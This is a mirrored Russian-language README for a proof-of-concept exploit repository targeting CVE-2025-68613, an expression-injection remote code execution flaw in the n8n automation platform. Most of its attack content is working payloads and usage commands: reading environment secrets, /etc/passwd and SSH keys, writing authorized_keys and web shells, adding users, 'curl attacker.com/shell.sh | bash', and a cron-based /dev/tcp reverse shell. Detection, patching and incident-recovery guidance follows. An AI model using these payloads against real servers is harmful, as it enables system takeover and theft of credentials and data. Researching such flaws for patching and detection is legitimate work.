Skip to content
CVE-2025-68613

CVE-2025-68613

Sploitus September 14, 2026

##

# 🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n

![Language: Python]( ![CVSS Score: 10.0 Critical]( ![Exploit Status: Proof of Concept Available]( ![CVE Status: CVE-2025-68613 Disclosed]( ![Version: v1.0.2]( ![Target Platform: n8n](

![CVE-2025-68613 PoC - TechSquad RedTeam](

**CVE-2025-68613** — это **критическая уязвимость удалённого выполнения кода (RCE)** , обнаруженная в **n8n** , популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.

* **Оценка CVSS** : 9.9 - 10.0 (Critical)

* **Тип уязвимости** : Инъекция выражений → удалённое выполнение кода

* **CWE** : CWE-913 (Improper Control of Dynamically-Managed Code Resources)

* **Требуется аутентификация** : Да (низкие привилегии — доступ администратора не требуется) |- **Статус** : Доступен PoC (подтверждено на v1.121.0)

**n8n** — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:

* Подключать различные API, базы данных и сервисы

* Автоматизировать повторяющиеся бизнес-процессы

* Создавать сложные рабочие процессы без глубоких знаний программирования

* Разворачивать локально (on-premises) или в облаке

### Почему n8n — критическая инфраструктура

* Интеграции баз данных с облачными сервисами

* Автоматизации конвейеров обработки данных

* Подключения CRM, ERP и внутренних систем

* Управления конфиденциальными данными и учётными данными API

Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.

Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:

### 1\. Сканер: `cve-2025-68613-scanner.py`

**Назначение** : безопасное обнаружение уязвимых экземпляров n8n без эксплуатации

* Пассивное определение версии по HTTP-ответам

* Проверяет несколько распространённых путей (/, /rest/settings, /healthz, /api/v1/health)

* Безопасен для авторизованных оценок безопасности

**Использование** :```bash python3 cve-2025-68613-scanner.py -u

- Код выхода 1: версия не определена (возможно, исправлена или скрыта)

- Код выхода 2: обнаружена уязвимая версия

### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`

**Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений

- Требуется действительный токен аутентификации

- Проверяет возможность внедрения выражений

- Пытается прочитать глобальный контекст Node.js (process.platform)

- Создаёт тестовые сценарии для проверки вектора RCE

- Классификация уровня критичности: CVSS 10.0 Critical

nuclei -t CVE-2025-68613.yaml -u -v

nuclei -t CVE-2025-68613.yaml -l targets.txt

### 3\. Полный эксплойт: `exploit_cve-2025-68613.py`

**Назначение** : Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами

* **info** : Сбор информации о системе (ОС, архитектура, версия Node.js, текущий пользователь)

* **cmd** : Выполнение произвольных системных команд

* **env** : Извлечение всех переменных окружения (раскрывает учётные данные, API-ключи, секреты)

* **read** : Чтение конфиденциальных файлов из файловой системы (SSH-ключи, конфигурационные файлы и т.д.)

* **write** : Запись файлов в файловую систему (закрепление, бэкдоры и т.д.)

* **revshell** : Установка reverse shell-соединения для интерактивного доступа

* Действительные учётные данные пользователя n8n (email/пароль)

**Установка** :```bash pip install requests chmod +x exploit_cve-2025-68613.py

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload info

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload env

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

python3 exploit_cve-2025-68613.py -u \

-e [email protected] -p password --payload write \

--file "/tmp/shell.php" --content ' '

1. Выполняет аутентификацию в n8n, используя предоставленные учетные данные

2. Создает вредоносный рабочий процесс с полезной нагрузкой инъекции выражений

3. Полезная нагрузка выходит из песочницы выражений с помощью `this.constructor.constructor()`

4. Выполняет полезную нагрузку через `process.platform` или другие Node.js API

5. Получает результаты выполнения рабочего процесса

6. Выполняет очистку, удаляя тестовый рабочий процесс

* 1: Не удалась аутентификация или эксплуатация

Простыми словами: **n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.**

Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику:

3. Похищать переменные окружения (ключи API, пароли, секреты)

5. Закрепляться в системе для долгосрочного доступа

* **Низкий порог входа** : требуется только вход пользователя (без специальных привилегий администратора)

* **Широкая применимость** : многие организации позволяют нетехническим пользователям создавать рабочие процессы

* **Высокое воздействие** : выполняется с полными привилегиями процесса n8n

* **Доступ к данным** : может получить доступ ко всем данным, к которым имеет доступ n8n (базы данных, API, учетные данные)

* **Сетевое положение** : n8n часто находится в центре критической инфраструктуры, что обеспечивает горизонтальное перемещение

#### Шаг 1: Вычисление выражений рабочего процесса

Когда пользователь создает рабочий процесс в n8n, он может использовать выражения для обработки данных:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

Злоумышленник создает вредоносное выражение, которое выходит за пределы предполагаемой песочницы:```javascript

// Example: Malicious expression in workflow

${require('child_process').execSync('id')}

Выражение вычисляется без надлежащей изоляции, что позволяет атакующему:

Уязвимость возникает из-за **недостаточной песочницы** в движке вычисления выражений. Команда n8n вычисляла выражения в контексте, который:

* Разрешал доступ к `require()` или аналогичным функциям загрузки модулей

* Не ограничивал должным образом доступ к системным API

* Не проверял и не фильтровал синтаксис выражений

* Не предотвращал атаки через загрязнение прототипа

* Не изолировал среду выполнения от базовой среды выполнения Node.js

User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

Все версии n8n, начиная с **0.211.0** и до следующих версий, уязвимы:

- ✅ `1.120.4` и более поздних в ветке 1.120.x

- ✅ `1.121.1` и более поздних в ветке 1.121.x

curl | grep -i "version"

* **n8n v1.121.0** : ✅ Полностью эксплуатируема (подтверждённое RCE, внедрение выражений работает)

* **n8n v0.211.0 - v1.120.3** : ✅ В пределах уязвимого диапазона по данным NVD (не тестировалось индивидуально)

* **Ограничение выполнения REST** : Эндпоинт `/rest/workflows/{id}/run` возвращает ошибку HTTP 500 в v1.121.0

* **Обходной путь** : Внедрение выражений работает отлично, RCE подтверждено через:

1. Ручной клик по кнопке «Test Step» в интерфейсе (доказано, что работает)

* **Это ограничение API, а не ошибка эксплойта**

* **n8n v0.212.0+** : Вне документированного диапазона уязвимости, вероятно, исправлено (см. GitHub issue #1)

* **Развёртывания на Windows Server** : Ограниченные данные тестирования в средах, специфичных для Windows

Эксплойт предназначен для работы против уязвимого диапазона, задокументированного в NVD:

* **Подтверждённая уязвимость** : 0.211.0 – 1.120.3, а также 1.121.0

* **Исправленные версии** : 1.120.4, 1.121.1, 1.122.0 и более поздние

При тестировании версий вне этого диапазона успех не гарантирован.

Когда аутентифицированный пользователь (или атакующий с действующими учётными данными) эксплуатирует эту уязвимость, он может:

#### 1\. Выполнять произвольные системные команды```javascript

${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

#### 2. Чтение файлов с сервера```javascript

${require('fs').readFileSync('/etc/passwd', 'utf-8')}

${require('fs').readFileSync('/ /user/.ssh/id_rsa', 'utf-8')}

#### 3\. Чтение переменных окружения```javascript

${Object.keys(process.env).join(', ')} // Lists all environment variables

${process.env.DATABASE_PASSWORD} // Extracts specific secrets

#### 4. Запись вредоносных файлов```javascript

${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}

${require('fs').writeFileSync('/ /user/.ssh/authorized_keys', 'attacker_key')}

#### 5\. Доступ к подключенным сервисам```javascript

// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

#### 6. Закрепление в системе```javascript

${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}

// Creates a cron job for reverse shell access

${require('child_process').execSync('useradd -m -s /bin/bash attacker')}

**Реальный сценарий: компания использует n8n**

1. **Злоумышленник получает учетные данные** : через фишинг, повторное использование паролей или слабый пароль

2. **Входит в n8n** : использует легитимную учетную запись пользователя

3. **Создает «безвредный» рабочий процесс** : утверждает, что он нужен для обработки данных

4. **Внедряет вредоносное выражение** : прячет эксплойт в шаге рабочего процесса

5. **Выполняет код** : запускает команды с привилегиями процесса n8n

6. **Похищает данные** : крадет ключи API, учетные данные базы данных, данные клиентов

7. **Обеспечивает устойчивость** : устанавливает бэкдоры, создает новые учетные записи администратора

8. **Перемещается латерально** : использует украденные учетные данные для доступа к другим системам

### Влияние на конфиденциальность (ВЫСОКОЕ)

* Доступ к конфиденциальным данным, обрабатываемым рабочими процессами

* Извлечение ключей API, паролей баз данных, ключей шифрования

* Чтение файлов конфигурации, журналов и секретов

* Возможные нарушения GDPR/комплаенса из-за кражи данных

* Изменение существующих рабочих процессов для саботажа операций

* Внедрение вредоносных рабочих процессов, повреждающих данные

* Изменение выходных данных рабочих процессов, влияющее на последующие системы

* Установка бэкдоров для постоянного доступа

* Удаление критически важных рабочих процессов, вызывающее нарушение бизнес-процессов

* Изменение системных файлов, приводящее к сбоям сервисов

* Истощение ресурсов из-за вредоносной автоматизации

* Атаки с выкупом, когда злоумышленники требуют оплату за восстановление систем

* n8n автоматизирует обработку заказов и управление запасами

* Злоумышленник похищает заказы клиентов и информацию о поставщиках

* Изменяет рабочие процессы, чтобы отправлять клиентам не те товары

* Результаты: потеря доверия клиентов, юридическая ответственность, нарушение операционной деятельности

* n8n интегрирует банковские API и обработку платежей

* Злоумышленник крадет учетные данные API и токены аутентификации

* Перенаправляет транзакции или создает мошеннические записи

* Результаты: регуляторные штрафы, компенсация клиентам, ущерб репутации

* n8n обрабатывает интеграцию данных пациентов и отчетность

* Злоумышленник получает доступ к защищенной медицинской информации (PHI)

* Изменяет медицинские записи или блокирует критические оповещения

* Результаты: нарушения HIPAA, вред пациентам, ответственность организации

**Безопасный, не эксплуатирующий уязвимость скрипт обнаружения** (включен в исходный репозиторий):```bash python3 CVE-2025-68613.py -u

Target version is affected by CVE-2025-68613

### Метод 2: Использование шаблона Nuclei

**Автоматическое сканирование с помощью Nuclei** :```bash

nuclei -t CVE-2025-68613.yaml -u

nuclei -t CVE-2025-68613.yaml -l targets.txt

1. Отправляет HTTP-запросы к стандартным путям n8n

2. Извлекает метаданные версии из HTML/заголовков

3. Декодирует base64-кодированный конфиг, если он присутствует

4. Сравнивает версию с уязвимыми диапазонами

### Метод 3: Ручное получение баннера```bash

curl -s | grep -i "n8n"

curl -I | grep -i "n8n"

nmap -p 5678 --script http-favicon target.com

- Необычные вычисления выражений в журналах рабочих процессов

- Ошибки выражений, содержащие системные команды

- Доступ к чувствительным файлам (например, ссылки на /etc/passwd)

- Неожиданный запуск процессов из процесса n8n

- Создание новых учетных записей пользователей на сервере

- Неожиданные SSH-ключи в authorized_keys

- Новые задачи cron или запланированные задачи

### ОСНОВНОЕ РЕШЕНИЕ: немедленное обновление

**Это единственное полное исправление уязвимости.**

#### Шаг 1: Создайте резервную копию данных```bash

**Использование Docker** (рекомендуется):```bash

**Использование системного менеджера пакетов** :```bash

wget

curl | grep version

curl | grep -i "n8n"

**Важно** : Это НЕ устраняет уязвимость. Используйте только как временные меры при планировании обновлений.

#### 1\. Ограничьте разрешения рабочих процессов```

n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

#### 2. Мониторинг изменений рабочего процесса```

├── Monitor for suspicious workflow modifications

├── Alert on expression evaluations in logs

└── Review workflow change history regularly

sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

#### 4. Запустите n8n с минимальными привилегиями```bash

#### 5\. Включите строгую аутентификацию```

n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

#### 6. Контейнеризация и изоляция```bash

# Run n8n in a restricted Docker container

ps aux | grep n8n netstat -tlnp | grep n8n

| Сценарий | Уровень риска | Вероятность | Влияние | Приоритет |

|----------|-----------|-----------|--------|----------|

| Необновлённый n8n, доступный из интернета | КРИТИЧЕСКИЙ | ВЫСОКАЯ | Полная компрометация | 🔴 СРОЧНО |

| Необновлённый n8n, только для внутреннего использования | ВЫСОКИЙ | СРЕДНЯЯ | Риск инсайдерской угрозы | 🟠 ВЫСОКИЙ |

| Обновлённый n8n | НИЗКИЙ | НИЗКАЯ | Н/Д | ✅ Устранено |

| Необновлённый n8n с ограничениями прав | СРЕДНИЙ | СРЕДНЯЯ | Ограничено доверенными пользователями | 🟡 СРЕДНИЙ |

## Пошаговое восстановление при компрометации

1. **Изолируйте систему**: Отключите от сети

2. **Остановите службу**: `sudo systemctl stop n8n`

3. **Сохраните журналы**: Сделайте резервную копию всех журналов перед очисткой

4. **Оповестите команду**: Уведомите службу безопасности и руководство

5. **Оцените масштаб**: Определите, к каким данным n8n имел доступ

1. **Просмотрите журналы аудита**: Проверьте подозрительную активность

2. **Проанализируйте сетевой трафик**: Поищите признаки утечки данных

3. **Проверьте изменения файлов**: Найдите внедрённые бэкдоры

4. **Проверьте учётные записи**: Поищите новые или изменённые учётные записи

5. **Аудит учётных данных**: Сбросьте все API-ключи и пароли, используемые n8n

1. **Полная пересборка системы**: Не просто обновляйте, а пересоберите из чистого образа

2. **Ротация учётных данных**: Сбросьте все пароли, API-ключи и токены

3. **Установите все исправления**: Обновите все подключённые системы

4. **Восстановите из резервной копии**: Используйте чистые резервные копии, созданные до компрометации

5. **Аудит безопасности**: Проведите полную оценку безопасности

1. **Внедрите мониторинг**: Настройте непрерывное журналирование и оповещение

2. **Изменение процессов**: Обновите процедуры реагирования на инциденты

3. **Обучение пользователей**: Обучите команды лучшим практикам безопасности

4. **Сканирование уязвимостей**: Регулярное сканирование на аналогичные проблемы

5. **Проверка соответствия**: Убедитесь, что все требования соблюдены (GDPR, HIPAA и т. д.)

1. **Поддерживайте n8n в актуальном состоянии**

- Включите автоматические обновления, если они доступны

- Подпишитесь на уведомления безопасности n8n

- Тестируйте исправления в staging перед продом

- Используйте принцип минимальных привилегий

- Внедрите SSO для корпоративного развёртывания

- Проверяйте все рабочие процессы на подозрительную логику

- Внедрите процесс ревью кода для рабочих процессов

- Используйте соглашения об именовании для выявления критических рабочих процессов

- Регулярно создавайте резервные копии рабочих процессов

- Никогда не храните учётные данные в рабочих процессах

- Используйте переменные окружения для чувствительных данных

- Настройте оповещения о подозрительных операциях

- Запускайте n8n в изолированных сетевых сегментах

- Ограничьте сетевой доступ только необходимыми службами

- Используйте VPN/межсетевой экран для удалённого доступа

- Отслеживайте сетевой трафик на аномалии

- Создайте план реагирования на инциденты

- Проводите регулярные учения по безопасности

- Поддерживайте актуальные списки контактов

### Проблема: "Exit code 1: Authentication or exploitation failed"

1. **Неверные учётные данные** (наиболее частая причина)

- Решение: Сначала проверьте, что учётные данные работают для входа в веб-интерфейс

- Попробуйте: `curl -X POST -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`

2. **У пользователя нет прав на создание рабочих процессов**

- Решение: Используйте учётную запись администратора или пользователя с правами на создание рабочих процессов

- Проверка: Откройте админ-панель → Пользователи и разрешения

3. **Версия обновлена** (версия > 1.121.0)

- Решение: Сначала используйте сканер для проверки версии: `python3 cve-2025-68613-scanner.py -u

- Ожидается: Сканер должен сообщить "Vulnerable" (код выхода 2)

4. **Структура API изменилась** (более старые/новые версии могут отличаться)

- Решение: Проверьте бюллетень NVD:

- Наиболее вероятно, если тестируются версии вне документированного диапазона

5. **Блокировка сетью/межсетевым экраном**

- Решение: Проверьте связь: `curl

- Проверьте: Правила межсетевого экрана, настройки прокси, SSL-сертификаты

### Проблема: Сканер сообщает о ложных срабатываниях (неверное определение версии)

**Исправлено в v1.02**: Сканер теперь использует декодированную из base64 конфигурацию Sentry из мета-тегов вместо простого регулярного выражения. Это устраняет ложные срабатывания, когда версия Node.js определялась как версия n8n.

- Основной источник: Извлечение и декодирование ` `

- Запасной вариант: Использование регулярного выражения, только если конфигурация Sentry недоступна

- Результат: Точное определение версии без ложных срабатываний

**Для использования сканера v1.02**:```bash

python3 cve-2025-68613-scanner.py -u

### Проблема: выполнение REST возвращает ошибку 500

**Это НЕ ошибка в эксплойте — это ограничение API.**

* Эндпоинт `/rest/workflows/{id}/run` возвращает HTTP 500 в n8n v1.121.0

* Это ограничение дизайна API n8n, а не ошибка эксплойта

* Внедрение выражений ПО-ПРЕЖНЕМУ РАБОТАЕТ через UI

1. Эксплойт создаёт рабочий процесс с вредоносным выражением ✅ Работает

2. Выражение вычисляется и выполняет код ✅ Работает (подтверждено ручным тестированием)

3. Вручную нажмите кнопку «Test Step» в интерфейсе, чтобы запустить выражение ✅ Работает

4. Читайте вывод из результатов рабочего процесса ✅ Работает

**Доказательство** : Получен флаг на TryHackMe: `THM{n8n_exposed_workflow}`

* **Репозиторий n8n на GitHub** :

* **Рекомендации по безопасности n8n** :

* **Документация n8n** :

* **Запись NVD** :

* **CVEDetails** :

* **CVETodo** :

* **NIST CWE-913** :

* **OWASP Внедрение кода** :

* **OWASP Обход песочницы** :

**CVE-2025-68613** — это критическая уязвимость, требующая немедленных действий. Сочетание:

* Широкая поверхность атаки (многие пользователи создают рабочие процессы)

* Центральное положение в ИТ-инфраструктуре

...что делает эту уязвимость одной из самых опасных в платформах автоматизации рабочих процессов.

**Простое решение** : немедленно обновитесь до исправленной версии. Нет оправдания оставаться уязвимым к критическому RCE, когда доступны исправления.

|- **Версия** : 1.02 |- **Дата создания** : 18 декабря 2025 г. |- **Последнее обновление** : 26 декабря 2025 г.

* **Автор** : The StingR / TechSquad Inc.

Этот документ предоставлен только в образовательных целях и для авторизованных оценок безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда убедитесь, что у вас есть надлежащее разрешение, прежде чем тестировать, оценивать или получать доступ к системам, которые вам не принадлежат.

**⚠️ ПОМНИТЕ: Немедленно обновите свои экземпляры n8n, если вы используете уязвимые версии.**